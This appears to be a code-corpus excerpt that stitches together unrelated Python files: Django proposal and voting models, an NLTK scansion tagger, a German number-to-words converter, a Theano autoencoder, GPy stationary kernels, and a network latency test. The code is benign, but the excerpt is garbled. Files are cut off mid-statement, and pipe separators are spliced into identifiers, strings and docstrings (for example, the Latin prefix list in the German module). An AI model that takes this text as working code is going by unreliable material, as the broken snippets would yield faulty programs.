elif self.proposal.user_already_voted(self.user):
validation_message = _(u'Proposal already Rated by you.')
if validation_message:
raise ValidationError(_(validation_message))
return super(Vote, self).save(*args, **kwargs)
class Activity(DeckBaseModel):
PROPOSAL = 'proposal'
WORKSHOP = 'workshop'
OPENNING = 'openning'
COFFEEBREAK = 'coffee-break'
LUNCH = 'lunch'
LIGHTNINGTALKS = 'lightning-talks'
ENDING = 'ending'
ACTIVITY_TYPES = (
(PROPOSAL, _('Proposal')),
(WORKSHOP, _('Workshop')),
(OPENNING, _('Openning')),
(COFFEEBREAK, _('Coffee Break')),
(LUNCH, _('Lunch')),
(LIGHTNINGTALKS, _('Lightning Talks')),
(ENDING, _('Ending')),
)
start_timetable = models.TimeField(
_('Start Timetable'), null=True, blank=False)
end_timetable = models.TimeField(
_('End Timetable'), null=True, blank=False)
track_order = models.SmallIntegerField(_('Order'), null=True, blank=True)
activity_type = models.CharField(
_('Type'), choices=ACTIVITY_TYPES, default=PROPOSAL, max_length=50)
# relations
track = models.ForeignKey(to='deck.Track', related_name='activities',
null=True, blank=True)
class Meta:
ordering = ('track_order', 'start_timetable', 'pk')
verbose_name = _('Activity')
verbose_name_plural = _('Activities')
@property
def timetable(self):
if all([self.start_timetable is None, self.end_timetable is None]):
return '--:--'
return '{0} - {1}'.format(
self.start_timetable.strftime('%H:%M'),
self.end_timetable.strftime('%H:%M')
)
class Proposal(Activity):
is_approved = models.BooleanField(_('Is approved'), default=False)
more_information = models.TextField(
_('More information'), max_length=10000, null=True, blank=True)
# relations
event = models.ForeignKey(to='deck.Event', related_name='proposals')
class Meta:
ordering = ['title']
verbose_name = _('Proposal')
verbose_name_plural = _('Proposals')
def save(self, *args, **kwargs):
if not self.pk and self.event.due_date_is_passed:
raise ValidationError(
_("This Event doesn't accept Proposals anymore."))
return super(Proposal, self).save(*args, **kwargs)
@property
def get_rate(self):
rate = None
try:
rate = self.votes__rate__sum
except AttributeError:
rate = self.votes.aggregate(Sum('rate'))['rate__sum']
finally:
return rate or 0
def rate(self, user, rate):
rate_int = [r[0] for r in Vote.VOTE_RATES if rate in r][0]
with transaction.atomic():
self.votes.create(user=user, rate=rate_int)
def user_already_voted(self, user):
if isinstance(user, AnonymousUser):
return False
return self.votes.filter(user=user).exists()
def user_can_vote(self, user):
can_vote = False
if self.user_already_voted(user) or \
(self.author == user and not self.event.author == user):
pass
elif self.event.allow_public_voting:
can_vote = True
elif user.is_superuser:
can_vote = True
elif self.event.jury.users.filter(pk=user.pk).exists():
can_vote = True
return can_vote
def user_can_approve(self, user):
can_approve = False
if user.is_superuser:
can_approve = True
elif self.event.jury.users.filter(pk=user.pk).exists():
can_approve = True
return can_approve
def get_absolute_url(self):
return reverse('view_event', kwargs={'slug': self.event.slug}) + \
'#' + self.slug
def approve(self):
if self.is_approved:
raise ValidationError(_("This Proposal was already approved."))
self.is_approved = True
self.save()
def disapprove(self):
if not self.is_approved:
raise Val |
henchc/CLFL_2016 | CLFL_ngram.py | Python | mit | 7,224 | 0.000139 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import unicode_literals
# Created at UC Berkeley 2015
# Authors: Christopher Hench
# ==============================================================================
'''This code trains and evaluates an n-gram tagger for MHG scansion based
on the paper presented at the NAACL-CLFL 2016 by Christopher Hench and
Alex Estes.'''
import codecs
import itertools
from itertools import chain
import nltk
import nltk.tag
from nltk.tag import UnigramTagger
from nltk.tag import BigramTagger
from nltk.tag import TrigramTagger
from nltk.tag import NgramTagger
from CLFL_mdf_classification import classification_report, confusion_matrix
from CLFL_mdf_classification import precision_recall_fscore_support
from sklearn.preprocessing import LabelBinarizer
import sklearn
import itertools
import pandas as pd
import re
import random
import numpy as np
# created at UC Berkeley 2015
# Authors: Christopher Hench
def ngram_tagger(tagged_sents):
patterns = [
(r'''(b|c|d|f|g|h|j|k|l|m|n||p|q|r|s|t|v|w|x|z)e
(b|c|d|f|g|h|j|k|l|m|n||p|q|r|s|t|v|w|x|z)''',
'MORA'),
(r'.*(a|e|i|o|u|ä|î|ô|ü)(a|e|i|o|u|ä|î|ô|ü)', 'DOPPEL'),
(r'.*', 'MORA_HAUPT')] # default
regex_tagger = nltk.RegexpTagger(patterns)
tagger1 = UnigramTagger(tagged_sents, backoff=regex_tagger)
# cutoff = 3, if necessary
tagger2 = BigramTagger(tagged_sents, backoff=tagger1)
tagger3 = TrigramTagger(tagged_sents, backoff=tagger2)
return tagger3
with open("Data/CLFL_dev-data.txt", 'r', encoding='utf-8') as f:
tagged = f.read() # text must be clean
tagged = tagged.split('\n')
newlines = []
for line in tagged:
nl = "BEGL/BEGL WBY/WBY " + line + " WBY/WBY ENDL/ENDL"
newlines.append(nl)
ftuples = []
for line in newlines:
news = [nltk.tag.str2tuple(t) for t in line.split()]
if len(news) > 0:
ftuples.append(news)
# for 10 fold validation
num_folds = 10
subset_size = int(len(ftuples) / num_folds)
rand_all = random.sample(range(0, len(ftuples)), len(ftuples))
test_inds = [rand_all[x:x + subset_size]
for x in range(0, len(rand_all), subset_size)]
for i, inds in enumerate(test_inds):
test_inds = inds
train_inds = list(set(range(0, len(ftuples))) - set(test_inds))
test_lines = []
train_lines = []
for x in test_inds:
test_lines.append(ftuples[x])
for x in train_inds:
train_lines.append(ftuples[x])
tagger = ngram_tagger(train_lines)
# get report
def bio_classification_report(y_true, y_pred):
"""
Classification report for a list of BIO-encoded sequences.
It computes token-level metrics a | nd discards "O" labels.
Note that it requires scikit-learn 0.15+ (or a version f | rom
github master) to calculate averages properly!
"""
lb = LabelBinarizer()
y_true_combined = lb.fit_transform(list(chain.from_iterable(y_true)))
y_pred_combined = lb.transform(list(chain.from_iterable(y_pred)))
tagset = set(lb.classes_) - {'O'}
tagset = sorted(tagset, key=lambda tag: tag.split('-', 1)[::-1])
class_indices = {cls: idx for idx, cls in enumerate(lb.classes_)}
labs = [class_indices[cls] for cls in tagset]
return((precision_recall_fscore_support(y_true_combined,
y_pred_combined,
labels=labs,
average=None,
sample_weight=None)),
(classification_report(
y_true_combined,
y_pred_combined,
labels=[class_indices[cls] for cls in tagset],
target_names=tagset,
)), labs)
take_out = ["BEGL", "ENDL", "WBY"]
def y_test_f(tagged_sents):
return [[tag for (word, tag) in line if tag not in take_out]
for line in tagged_sents] # list of all the tags
def y_pred_f(tagger, corpus):
# notice we first untag the sentence
return [tagger.tag(nltk.tag.untag(sent)) for sent in corpus]
y_test = y_test_f(test_lines)
y_pred = y_test_f(y_pred_f(tagger, test_lines))
bioc = bio_classification_report(y_test, y_pred)
# to parse
p, r, f1, s = bioc[0]
tot_avgs = []
for v in (np.average(p, weights=s),
np.average(r, weights=s),
np.average(f1, weights=s)):
tot_avgs.append(v)
toext = [0] * (len(s) - 3)
tot_avgs.extend(toext)
all_s = [sum(s)] * len(s)
rep = bioc[1]
all_labels = []
for word in rep.split():
if word.isupper():
all_labels.append(word)
ext_labels = [
"DOPPEL",
"EL",
"HALB",
"HALB_HAUPT",
"HALB_NEBEN",
"MORA",
"MORA_HAUPT",
"MORA_NEBEN"]
abs_labels = [l for l in ext_labels if l not in all_labels]
# print(bio_classification_report(y_test, y_pred)[1])
data = {
"labels": all_labels,
"precision": p,
"recall": r,
"f1": f1,
"support": s,
"tots": tot_avgs,
"all_s": all_s}
df = pd.DataFrame(data)
if len(abs_labels) > 0:
if "HALB_NEBEN" in abs_labels:
line = pd.DataFrame({"labels": "HALB_NEBEN",
"precision": 0,
"recall": 0,
"f1": 0,
"support": 0,
"tots": 0,
"all_s": 0},
index=[4])
df = pd.concat([df.ix[:3], line, df.ix[4:]]).reset_index(drop=True)
if "EL" in abs_labels:
line = pd.DataFrame({"labels": "EL",
"precision": 0,
"recall": 0,
"f1": 0,
"support": 0,
"tots": 0,
"all_s": 0},
index=[1])
df = pd.concat([df.ix[0], line, df.ix[1:]]).reset_index(drop=True)
df["w_p"] = df.precision * df.support
df["w_r"] = df.recall * df.support
df["w_f1"] = df.f1 * df.support
df["w_tots"] = df.tots * df.all_s
# to add and average cross validation
if i != 0:
df_all = df_all.add(df, axis="labels", fill_value=0)
else:
df_all = df
print("Fold " + str(i) + " complete.\n")
df_all["p_AVG"] = df_all.w_p / df_all.support
df_all["r_AVG"] = df_all.w_r / df_all.support
df_all["f1_AVG"] = df_all.w_f1 / df_all.support
df_all["tots_AVG"] = df_all.w_tots / df_all.all_s
df_all = df_all.drop("f1", 1)
df_all = df_all.drop("precision", 1)
df_all = df_all.drop("recall", 1)
df_all = df_all.drop("tots", 1)
df_all = df_all.drop("w_p", 1)
df_all = df_all.drop("w_r", 1)
df_all = df_all.drop("w_f1", 1)
df_all = df_all.drop("w_tots", 1)
print(df_all)
|
guildenstern70/fablegenerator | fablegenerator/numtoword/num2word_DE.py | Python | mit | 5,299 | 0.00585 | # coding=utf-8
'''
Module: num2word_DE.py
Requires: num2word_base.py
Version: 0.4
Author:
Taro Ogawa (tso@users.sourceforge.org)
Copyright:
Copyright (c) 2003, Taro Ogawa. All Rights Reserved.
Licence:
This module is distributed under the Lesser General Public Licence.
http://www.opensource.org/licenses/lgpl-license.php
Data from:
- http://german4u2know.tripod.com/nouns/10.html
- http://www.uni-bonn.de/~manfear/large.php
Usage:
from num2word_DE import to_card, to_ord, to_ordnum
to_card(1234567890)
to_ord(1234567890)
to_ordnum(12)
History
0.4: Use high ascii characters instead of low ascii approximations
add to_currency() and to_year()
'''
from num2word_EU import Num2Word_EU
#//TODO: Use German error messages
class Num2Word_DE(Num2Word_EU):
def set_high_numwords(self, high):
max = 3 + 6*len(high)
for word, n in zip(high, range(max, 3, -6)):
self.cards[10**n] = word + "illiarde"
self.cards[10**(n-3)] = word + "illion"
def setup(self):
self.negword = "minus "
self.pointword = "Komma"
self.errmsg_nonnum = "Only numbers may be converted to words."
self.errmsg_toobig = "Number is too large to convert to words."
self.exclude_title = []
lows = ["non", "okt", "sept", "sext", "quint", "quadr", "tr", "b", "m"]
units = ["", "un", "duo", "tre", "quattuor", "quin", "sex", "sept",
"okto", "novem"]
tens = ["dez", "vigint", "trigint", "quadragint", "qu | inquagint",
"sexagint", "septuagint", "oktogint", "nonagint"]
self.high_numwords = ["zent"]+self.gen_high_numwords(units, tens, lows)
self.mid_numwords = [(1000, "tausand"), (100, "hundert"),
| (90, "neunzig"), (80, "achtzig"), (70, "siebzig"),
(60, "sechzig"), (50, "f\xFCnfzig"), (40, "vierzig"),
(30, "drei\xDFig")]
self.low_numwords = ["zwanzig", "neunzehn", "achtzen", "siebzehn",
"sechzehn", "f\xFCnfzehn", "vierzehn", "dreizehn",
"zw\xF6lf", "elf", "zehn", "neun", "acht", "sieben",
"sechs", "f\xFCnf", "vier", "drei", "zwei", "eins",
"null"]
self.ords = { "eins" : "ers",
"drei" : "drit",
"acht" : "ach",
"sieben" : "sieb",
"ig" : "igs" }
self.ordflag = False
def merge(self, curr, next):
ctext, cnum, ntext, nnum = curr + next
if cnum == 1:
if nnum < 10**6 or self.ordflag:
return next
ctext = "eine"
if nnum > cnum:
if nnum >= 10**6:
if cnum > 1:
if ntext.endswith("e") or self.ordflag:
ntext += "s"
else:
ntext += "es"
ctext += " "
val = cnum * nnum
else:
if nnum < 10 < cnum < 100:
if nnum == 1:
ntext = "ein"
ntext, ctext = ctext, ntext + "und"
elif cnum >= 10**6:
ctext += " "
val = cnum + nnum
word = ctext + ntext
return (word, val)
def to_ordinal(self, value):
self.verify_ordinal(value)
self.ordflag = True
outword = self.to_cardinal(value)
self.ordflag = False
for key in self.ords:
if outword.endswith(key):
outword = outword[:len(outword) - len(key)] + self.ords[key]
break
return outword + "te"
# Is this correct??
def to_ordinal_num(self, value):
self.verify_ordinal(value)
return str(value) + "te"
def to_currency(self, val, longval=True, old=False):
if old:
return self.to_splitnum(val, hightxt="mark/s", lowtxt="pfennig/e",
jointxt="und",longval=longval)
return super(Num2Word_DE, self).to_currency(val, jointxt="und",
longval=longval)
def to_year(self, val, longval=True):
if not (val//100)%10:
return self.to_cardinal(val)
return self.to_splitnum(val, hightxt="hundert", longval=longval)
n2w = Num2Word_DE()
to_card = n2w.to_cardinal
to_ord = n2w.to_ordinal
to_ordnum = n2w.to_ordinal_num
def main():
for val in [ 1, 11, 12, 21, 31, 33, 71, 80, 81, 91, 99, 100, 101, 102, 155,
180, 300, 308, 832, 1000, 1001, 1061, 1100, 1500, 1701, 3000,
8280, 8291, 150000, 500000, 1000000, 2000000, 2000001,
-21212121211221211111, -2.121212, -1.0000100]:
n2w.test(val)
n2w.test(1325325436067876801768700107601001012212132143210473207540327057320957032975032975093275093275093270957329057320975093272950730)
print n2w.to_currency(112121)
print n2w.to_year(2000)
if __name__ == "__main__":
main()
|
astronomeara/xastropy-old | xastropy/galaxy/core.py | Python | bsd-3-clause | 1,859 | 0.016138 | """
#;+
#; NAME:
#; galaxy.core
#; Version 1.0
#;
#; PURPOSE:
#; Core routines for galaxy analysis
#; 29-Nov-2014 by JXP
#;-
#;------------------------------------------------------------------------------
"""
from __future__ import print_function, absolute_import, division, unicode_literals
import os, copy, sys
import numpy as np
from astropy import units as u
from astropy.io import ascii
from astropy.coordinates import SkyCoord
from xastropy.xutils import xdebug | as xdb
# Class for LLS Absorption Lines
class Galaxy(object):
"""A Galaxy Class
Attributes:
name: string
Name(s)
z: float
Adopted redshift
coord: Coordinates
mstar: float
Stellar mass (MsolMass)
"""
# Initialize with a .dat file
def __init | __(self, ra=None, dec=None, z=0.):
self.z = z
# Coord
if ra is None:
ras = '00 00 00'
else:
ras = str(ra)
if dec is None:
decs = '+00 00 00'
else:
decs = str(dec)
self.coord = SkyCoord(ras, decs, 'icrs', unit=(u.hour, u.deg))
# Name
self.name = ('J'+
self.coord.ra.to_string(unit=u.hour,sep='',pad=True)+
self.coord.dec.to_string(sep='',pad=True,alwayssign=True))
# #############
def __repr__(self):
return ('[Galaxy: {:s} {:s} {:s}, z={:g}]'.format(
self.name,
self.coord.ra.to_string(unit=u.hour,sep=':',pad=True),
self.coord.dec.to_string(sep=':',pad=True),
self.z) )
## #################################
## #################################
## TESTING
## #################################
if __name__ == '__main__':
# Instantiate
gal = Galaxy()
print(gal)
|
shamidreza/deepcca | dA_joint.py | Python | gpl-2.0 | 21,666 | 0.005169 | """
This tutorial introduces denoising auto-encoders (dA) using Theano.
Denoising autoencoders are the building blocks for SdA.
They are based on auto-encoders as the ones used in Bengio et al. 2007.
An autoencoder takes an input x and first maps it to a hidden representation
y = f_{\theta}(x) = s(Wx+b), parameterized by \theta={W,b}. The resulting
latent representation y is then mapped back to a "reconstructed" vector
z \in [0,1]^d in input space z = g_{\theta'}(y) = s(W'y + b'). The weight
matrix W' can optionally be constrained such that W' = W^T, in which case
the autoencoder is said to have tied weights. The network is trained such
that to minimize the reconstruction error (the error between x and z).
For the denosing autoencoder, during training, first x is corrupted into
\tilde{x}, where \tilde{x} is a partially destroyed version of x by means
of a stochastic mapping. Afterwards y is computed as before (using
\tilde{x}), y = s(W\tilde{x} + b) and z as s(W'y + b'). The reconstruction
error is now measured between z and the uncorrupted input x, which is
computed as the cross-entropy :
- \sum_{k=1}^d[ x_k \log z_k + (1-x_k) \log( 1-z_k)]
References :
- P. Vincent, H. Larochelle, Y. Bengio, P.A. Manzagol: Extracting and
Composing Robust Features w | ith Denoising Autoencoders, ICML'08, 1096-1103,
2008
- Y. Bengio, P. Lamblin, D. Popovici, H. Larochelle: Greedy Layer-Wise
Training of Deep Networks, Advances in Neural Information Processing
Systems 1 | 9, 2007
"""
import os
import sys
import time
import numpy
import theano
import theano.tensor as T
from theano.tensor.shared_randomstreams import RandomStreams
from logistic_sgd import load_data
from utils import tile_raster_images, load_vc
try:
import PIL.Image as Image
except ImportError:
import Image
try:
from matplotlib import pyplot as pp
except ImportError:
print 'matplotlib is could not be imported'
# start-snippet-1
class dA_joint(object):
"""Denoising Auto-Encoder class (dA)
A denoising autoencoders tries to reconstruct the input from a corrupted
version of it by projecting it first in a latent space and reprojecting
it afterwards back in the input space. Please refer to Vincent et al.,2008
for more details. If x is the input then equation (1) computes a partially
destroyed version of x by means of a stochastic mapping q_D. Equation (2)
computes the projection of the input into the latent space. Equation (3)
computes the reconstruction of the input, while equation (4) computes the
reconstruction error.
.. math::
\tilde{x} ~ q_D(\tilde{x}|x) (1)
y = s(W \tilde{x} + b) (2)
x = s(W' y + b') (3)
L(x,z) = -sum_{k=1}^d [x_k \log z_k + (1-x_k) \log( 1-z_k)] (4)
"""
def __init__(
self,
numpy_rng,
theano_rng=None,
input1=None,
input2=None,
cor_reg=None,
n_visible1=784/2,
n_visible2=784/2,
n_hidden=500,
W1=None,
bhid1=None,
bvis1=None,
W2=None,
bhid2=None,
bvis2=None
):
"""
Initialize the dA class by specifying the number of visible units (the
dimension d of the input ), the number of hidden units ( the dimension
d' of the latent or hidden space ) and the corruption level. The
constructor also receives symbolic variables for the input, weights and
bias. Such a symbolic variables are useful when, for example the input
is the result of some computations, or when weights are shared between
the dA and an MLP layer. When dealing with SdAs this always happens,
the dA on layer 2 gets as input the output of the dA on layer 1,
and the weights of the dA are used in the second stage of training
to construct an MLP.
:type numpy_rng: numpy.random.RandomState
:param numpy_rng: number random generator used to generate weights
:type theano_rng: theano.tensor.shared_randomstreams.RandomStreams
:param theano_rng: Theano random generator; if None is given one is
generated based on a seed drawn from `rng`
:type input: theano.tensor.TensorType
:param input: a symbolic description of the input or None for
standalone dA
:type n_visible: int
:param n_visible: number of visible units
:type n_hidden: int
:param n_hidden: number of hidden units
:type W: theano.tensor.TensorType
:param W: Theano variable pointing to a set of weights that should be
shared belong the dA and another architecture; if dA should
be standalone set this to None
:type bhid: theano.tensor.TensorType
:param bhid: Theano variable pointing to a set of biases values (for
hidden units) that should be shared belong dA and another
architecture; if dA should be standalone set this to None
:type bvis: theano.tensor.TensorType
:param bvis: Theano variable pointing to a set of biases values (for
visible units) that should be shared belong dA and another
architecture; if dA should be standalone set this to None
"""
self.n_visible1 = n_visible1
self.n_visible2 = n_visible2
self.n_hidden = n_hidden
# create a Theano random generator that gives symbolic random values
if not theano_rng:
theano_rng = RandomStreams(numpy_rng.randint(2 ** 30))
# note : W' was written as `W_prime` and b' as `b_prime`
if not W1:
# W is initialized with `initial_W` which is uniformely sampled
# from -4*sqrt(6./(n_visible+n_hidden)) and
# 4*sqrt(6./(n_hidden+n_visible))the output of uniform if
# converted using asarray to dtype
# theano.config.floatX so that the code is runable on GPU
initial_W1 = numpy.asarray(
numpy_rng.uniform(
low=-4 * numpy.sqrt(6. / (n_hidden + n_visible1)),
high=4 * numpy.sqrt(6. / (n_hidden + n_visible1)),
size=(n_visible1, n_hidden)
),
dtype=theano.config.floatX
)
W1 = theano.shared(value=initial_W1, name='W1', borrow=True)
if not W2:
# W is initialized with `initial_W` which is uniformely sampled
# from -4*sqrt(6./(n_visible+n_hidden)) and
# 4*sqrt(6./(n_hidden+n_visible))the output of uniform if
# converted using asarray to dtype
# theano.config.floatX so that the code is runable on GPU
initial_W2 = numpy.asarray(
numpy_rng.uniform(
low=-4 * numpy.sqrt(6. / (n_hidden + n_visible2)),
high=4 * numpy.sqrt(6. / (n_hidden + n_visible2)),
size=(n_visible2, n_hidden)
),
dtype=theano.config.floatX
)
W2 = theano.shared(value=initial_W2, name='W2', borrow=True)
if not bvis1:
bvis1 = theano.shared(
value=numpy.zeros(
n_visible1,
dtype=theano.config.floatX
),
name='b1p',
borrow=True
)
if not bvis2:
bvis2 = theano.shared(
value=numpy.zeros(
n_visible2,
dtype=theano.config.floatX
),
name='b2p',
borrow=True
)
if not bhid1:
bhid1 = theano.shared(
value=numpy.zeros(
n_hidden,
dtype=theano.config.floatX
),
name='b1',
borrow=True
)
if not bhid2:
bhid2 = theano.shared(
|
DailyActie/Surrogate-Model | 01-codes/OpenMDAO-Framework-dev/openmdao.main/src/openmdao/main/test/netperf.py | Python | mit | 3,996 | 0 | """
Run latency & thruput tests on various server configurations.
"""
import glob
import os.path
import shutil
import time
from openmdao.main.mp_util import read_server_config
from openmdao.main.objserverfactory import connect, start_server
from openmdao.util.fileutil import onerror
MESSAGE_DATA = []
def init_messages():
""" Initialize message data for various sizes. """
for i in range(21):
MESSAGE_DATA.append(' ' * (1 << i))
def run_test(name, server):
""" Run latency & bandwidth test on `server`. """
for i in range(10):
server.echo(MESSAGE_DATA[0]) # 'prime' the connection.
results = []
reps = 1000
for msg in MESSAGE_DATA:
start = time.time()
for i in range(reps):
server.echo(msg)
et = time.time() - start
size = len(msg)
latency = et / reps
thruput = len(msg) / (et / reps)
print '%d msgs of %d bytes, latency %g, thruput %g' \
% (reps, size, latency, thruput)
results.append((size, latency, thruput))
if et > 2 and reps >= 20:
reps /= int((et / 2) + 0.5)
| return results
def main():
""" Run latency & thruput tests on various server configurations. """
init_messages()
latency_results = {}
thruput_results = {}
# For each configuration...
count = 0
for authkey in ('PublicKey', 'UnEncrypted'):
for ip_port in (-1, 0):
| for hops in (1, 2):
# Start factory in unique directory.
count += 1
name = 'Echo_%d' % count
if os.path.exists(name):
shutil.rmtree(name, onerror=onerror)
os.mkdir(name)
os.chdir(name)
try:
server_proc, server_cfg = \
start_server(authkey=authkey, port=ip_port)
cfg = read_server_config(server_cfg)
finally:
os.chdir('..')
# Connect to factory.
address = cfg['address']
port = cfg['port']
key = cfg['key']
print
print '%s, %s %d, hops: %d' % (authkey, address, port, hops)
factory = connect(address, port, authkey=authkey, pubkey=key)
if hops == 1:
server = factory
else:
# Create a server.
server = factory.create('')
# Run test.
results = run_test(name, server)
# Shutdown.
if server is not factory:
factory.release(server)
factory.cleanup()
server_proc.terminate(timeout=10)
# Add results.
for size, latency, thruput in results:
if size not in latency_results:
latency_results[size] = []
latency_results[size].append(latency)
if size not in thruput_results:
thruput_results[size] = []
thruput_results[size].append(thruput)
# Write out results in X, Y1, Y2, ... format.
header = 'Bytes,En-S-1,En-S-2,En-P-1,En-P-2,Un-S-1,Un-S-2,Un-P-1,Un-P-2\n'
with open('latency.csv', 'w') as out:
out.write(header)
for size in sorted(latency_results.keys()):
out.write('%d' % size)
for value in latency_results[size]:
out.write(', %g' % value)
out.write('\n')
with open('thruput.csv', 'w') as out:
out.write(header)
for size in sorted(thruput_results.keys()):
out.write('%d' % size)
for value in thruput_results[size]:
out.write(', %g' % value)
out.write('\n')
for path in glob.glob('Echo_*'):
shutil.rmtree(path, onerror=onerror)
if __name__ == '__main__':
main()
|
avehtari/GPy | GPy/kern/src/stationary.py | Python | bsd-3-clause | 21,805 | 0.010961 | # Copyright (c) 2012, GPy authors (see AUTHORS.txt).
# Licensed under the BSD 3-clause license (see LICENSE.txt)
import numpy as np
from scipy import integrate
from .kern import Kern
from ...core.parameterization import Param
from ...util.linalg import tdot
from ... import util
from ...util.config import config # for assesing whether to use cython
from paramz.caching import Cache_this
from paramz.transformations import Logexp
try:
from . import stationary_cython
except ImportError:
print('warning in stationary: failed to import cython module: falling back to numpy')
config.set('cython', 'working', 'false')
class Stationary(Kern):
"""
Stationary kernels (covariance functions).
Stationary covariance fucntion depend only on r, where r is defined as
.. math::
r(x, x') = \\sqrt{ \\sum_{q=1}^Q (x_q - x'_q)^2 }
The covariance function k(x, x' can then be written k(r).
In this implementation, r is scaled by the lengthscales parameter(s):
.. math::
r(x, x') = \\sqrt{ \\sum_{q=1}^Q \\frac{(x_q - x'_q)^2}{\ell_q^2} }.
By default, there's only one lengthscale: seaprate lengthscales for each
dimension can be enables by setting ARD=True.
To implement a stationary covariance function using this class, one need
only define the covariance function k(r), and it derivative.
```
def K_of_r(self, r):
return foo
def dK_dr(self, r):
return bar
```
The lengthscale(s) and variance parameters are added to the structure automatically.
"""
def __init__(self, input_dim, variance, lengthscale, ARD, active_dims, name, useGPU=False):
super(Stationary, self).__init__(input_dim, active_dims, name,useGPU=useGPU)
self.ARD = ARD
if not ARD:
if lengthscale is None:
lengthscale = np.ones(1)
else:
lengthscale = np.asarray(lengthscale)
assert lengthscale.size == 1, "Only 1 lengthscale needed for non-ARD kernel"
else:
if lengthscale is not None:
lengthscale = np.asarray(lengthscale)
assert lengthscale.size in [1, input_dim], "Bad number of lengthscales"
if lengthscale.size != input_dim:
lengthscale = np.ones(input_dim)*lengthscale
else:
lengthscale = np.ones(self.input_dim)
self.lengthscale = Param('lengthscale', lengthscale, Logexp())
self.variance = Param('variance', varian | ce, Logexp())
assert self.variance.size==1
self.link_parameters(self.variance, self.lengthscale)
def K_of_r(self, r):
raise NotImplementedError("implement the covariance function as a fn of r to use this class")
def dK_dr(self, r):
raise NotImplementedError("implement derivative of the covariance function wrt r to use this class")
@Cache_this(limit=3, ignore_args=())
def dK2_drdr(self, r):
| raise NotImplementedError("implement second derivative of covariance wrt r to use this method")
@Cache_this(limit=3, ignore_args=())
def dK2_drdr_diag(self):
"Second order derivative of K in r_{i,i}. The diagonal entries are always zero, so we do not give it here."
raise NotImplementedError("implement second derivative of covariance wrt r_diag to use this method")
@Cache_this(limit=3, ignore_args=())
def K(self, X, X2=None):
"""
Kernel function applied on inputs X and X2.
In the stationary case there is an inner function depending on the
distances from X to X2, called r.
K(X, X2) = K_of_r((X-X2)**2)
"""
r = self._scaled_dist(X, X2)
return self.K_of_r(r)
@Cache_this(limit=3, ignore_args=())
def dK_dr_via_X(self, X, X2):
"""
compute the derivative of K wrt X going through X
"""
#a convenience function, so we can cache dK_dr
return self.dK_dr(self._scaled_dist(X, X2))
@Cache_this(limit=3, ignore_args=())
def dK2_drdr_via_X(self, X, X2):
#a convenience function, so we can cache dK_dr
return self.dK2_drdr(self._scaled_dist(X, X2))
def _unscaled_dist(self, X, X2=None):
"""
Compute the Euclidean distance between each row of X and X2, or between
each pair of rows of X if X2 is None.
"""
#X, = self._slice_X(X)
if X2 is None:
Xsq = np.sum(np.square(X),1)
r2 = -2.*tdot(X) + (Xsq[:,None] + Xsq[None,:])
util.diag.view(r2)[:,]= 0. # force diagnoal to be zero: sometime numerically a little negative
r2 = np.clip(r2, 0, np.inf)
return np.sqrt(r2)
else:
#X2, = self._slice_X(X2)
X1sq = np.sum(np.square(X),1)
X2sq = np.sum(np.square(X2),1)
r2 = -2.*np.dot(X, X2.T) + X1sq[:,None] + X2sq[None,:]
r2 = np.clip(r2, 0, np.inf)
return np.sqrt(r2)
@Cache_this(limit=3, ignore_args=())
def _scaled_dist(self, X, X2=None):
"""
Efficiently compute the scaled distance, r.
..math::
r = \sqrt( \sum_{q=1}^Q (x_q - x'q)^2/l_q^2 )
Note that if thre is only one lengthscale, l comes outside the sum. In
this case we compute the unscaled distance first (in a separate
function for caching) and divide by lengthscale afterwards
"""
if self.ARD:
if X2 is not None:
X2 = X2 / self.lengthscale
return self._unscaled_dist(X/self.lengthscale, X2)
else:
return self._unscaled_dist(X, X2)/self.lengthscale
def Kdiag(self, X):
ret = np.empty(X.shape[0])
ret[:] = self.variance
return ret
def update_gradients_diag(self, dL_dKdiag, X):
"""
Given the derivative of the objective with respect to the diagonal of
the covariance matrix, compute the derivative wrt the parameters of
this kernel and stor in the <parameter>.gradient field.
See also update_gradients_full
"""
self.variance.gradient = np.sum(dL_dKdiag)
self.lengthscale.gradient = 0.
def update_gradients_full(self, dL_dK, X, X2=None):
"""
Given the derivative of the objective wrt the covariance matrix
(dL_dK), compute the gradient wrt the parameters of this kernel,
and store in the parameters object as e.g. self.variance.gradient
"""
self.variance.gradient = np.sum(self.K(X, X2)* dL_dK)/self.variance
#now the lengthscale gradient(s)
dL_dr = self.dK_dr_via_X(X, X2) * dL_dK
if self.ARD:
tmp = dL_dr*self._inv_dist(X, X2)
if X2 is None: X2 = X
if config.getboolean('cython', 'working'):
self.lengthscale.gradient = self._lengthscale_grads_cython(tmp, X, X2)
else:
self.lengthscale.gradient = self._lengthscale_grads_pure(tmp, X, X2)
else:
r = self._scaled_dist(X, X2)
self.lengthscale.gradient = -np.sum(dL_dr*r)/self.lengthscale
def _inv_dist(self, X, X2=None):
"""
Compute the elementwise inverse of the distance matrix, expecpt on the
diagonal, where we return zero (the distance on the diagonal is zero).
This term appears in derviatives.
"""
dist = self._scaled_dist(X, X2).copy()
return 1./np.where(dist != 0., dist, np.inf)
def _lengthscale_grads_pure(self, tmp, X, X2):
return -np.array([np.sum(tmp * np.square(X[:,q:q+1] - X2[:,q:q+1].T)) for q in range(self.input_dim)])/self.lengthscale**3
def _lengthscale_grads_cython(self, tmp, X, X2):
N,M = tmp.shape
Q = self.input_dim
X, X2 = np.ascontiguousarray(X), np.ascontiguousarray(X2)
grads = np.zeros(self.input_dim)
stationary_cython.lengthscale_grads(N, M, Q, tmp, X, X2, grads)
return -grads/self.lengthscale**3
def gradients_X(self, dL_dK, X, X2=None):
"""
Given the derivative of the objective wrt K (dL_dK), compute the derivative w |
iambibhas/django | tests/backends/tests.py | Python | bsd-3-clause | 49,291 | 0.001542 | # -*- coding: utf-8 -*-
# Unit and doctests for specific database backends.
from __future__ import unicode_literals
import copy
import datetime
from decimal import Decimal, Rounded
import re
import threading
import unittest
import warnings
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.core.management.color import no_style
from django.db import (connection, connections, DEFAULT_DB_ALIAS,
DatabaseError, IntegrityError, reset_queries, transaction)
from django.db.backends import BaseDatabaseWrapper
from django.db.backends.signals import connection_created
from django.db.backends.postgresql_psycopg2 import version as pg_version
from django.db.backends.utils import format_number, CursorWrapper
from django.db.models import Sum, Avg, Variance, StdDev
from django.db.models.sql.constants import CURSOR
from django.db.utils import ConnectionHandler
from django.test import (TestCase, TransactionTestCase, mock, override_settings,
skipUnlessDBFeature, skipIfDBFeature)
from django.test.utils import ignore_warnings, str_prefix
from django.utils import six
from django.utils.deprecation import RemovedInDjango19Warning
from django.utils.six.moves import range
from . import models
